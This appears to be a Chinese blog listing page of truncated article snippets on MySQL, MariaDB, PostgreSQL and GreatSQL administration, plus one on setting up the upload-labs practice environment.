    课后作业在homework库下执行:CREATE TABLE user_profile_2 (idint NOT NULL,device_idint NOT NULL,gendervarchar(14) NOT NULL,ageint ,universityvarchar(32) NOT NULL,gpafloat,active_days_within_30float,question_cntfloat,answer_cnt......
  • You have an error in your SQL syntax; check the manual that corresponds to your
    错误提示:YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMariaDBserverversionfortherightsyntaxtousenear'TYPE=InnoDB'atline22解决方案:错误消息提示了在SQL语句的第22行附近有一个语法错误,特别是与TYPE=InnoDB这部分有关。......
  • PGSQL快速生成模拟数据
    背景有时候,我们为了测试数据库的性能,通常需要快速构建测试数据,PgSql提供了快速构建数据的工具,方便我们能够快捷的构建模拟数据。生成函数顺序生成生成SQL--生成一批顺序值SELECTidFROMGENERATE_SERIES(1,10)t(id);结果id1234......
  • PGSQL数据膨胀问题排查
    背景不知道从何时开始,数据库空载时的性能消耗越来越高,当业务高峰期,CPU和内存都处于高负载的情况下,观看AWS的监控,发现负载空载时占用很高。并且占用较高的Top5分为为:autovacuum:VACUUMANALYZEpg_catalog.pg_attributeautovacuum:VACUUMANALYZEpg_catalog.pg_typea......
  • MySQL入门学习-深入索引.全值匹配
        在MySQL中,索引的全值匹配是指在查询中使用索引列的所有部分进行精确匹配。当查询条件中的列值与索引中的值完全匹配时,MySQL可以使用索引来快速定位和检索数据,从而提高查询性能。    以下是关于全值匹配的一些详细信息:一、概念:  -全值匹配是指在查......
  • MySQL入门学习-深入索引.唯一索引
        在MySQL中,索引是一种用于提高数据库查询性能的数据结构。深入了解索引对于优化数据库操作非常重要。以下是关于唯一索引的相关内容:一、概念:  -唯一索引是一种特殊的索引,它确保表中的某一列或列组合的值是唯一的,不允许出现重复值。二、特点:  -保证数......
  • upload-labs靶场全题解
    ​​靶场搭建对php和apache版本有严格要求,建议使用phpstudy2018并且使用设置php版本为5.2.17,这个靶场比较老了,如果要复现的话,必要严格按照要求来使用,博主使用最新版的phpstudy在某些靶场上未能成功复现,所以浪费了很多时间。。。。。Upload-Labs环境要求操作系统:wind......
  • MySQL 数据库的 DDL
    备份MySQL数据库的DDL(数据定义语言)语句包括导出数据库结构(如表、视图、触发器、存储过程和函数等),但不包括实际数据。通常使用mysqldump工具进行此类操作。以下是具体的方法:备份DDL1.导出数据库结构(不包括数据)使用mysqldump工具导出数据库结构,可以指定--no-data......
  • MySQL日志详解
    一、前言日志文件中记录着MySQL数据库运行期间发生的变化;包括MySQL数据库的客户端连接状况、SQL语句的执行情况和错误信息等,是MySQL数据库的重要组成部分。MySQL日志分类:错误日志查询日志慢查询日志事务日志(Redolog)二进制日志中继日志二、错误日志默认情况下,错误......
  • FILE+POS 方式 GreatSQL 主从复制架构给主节点磁盘扩容
    FILE+POS方式GreatSQL主从复制架构给主节点磁盘扩容一、前提在一套非常老的系统上,有一套GreatSQL主从集群(1主1从),主从复制采用的是FILE+POS方式复制,磁盘使用紧张需要扩容,只能在该台机器上添加更大的磁盘,将原数据盘替换,也没有其他的机器资源替换。这套系统没有VIP,没有高可用切......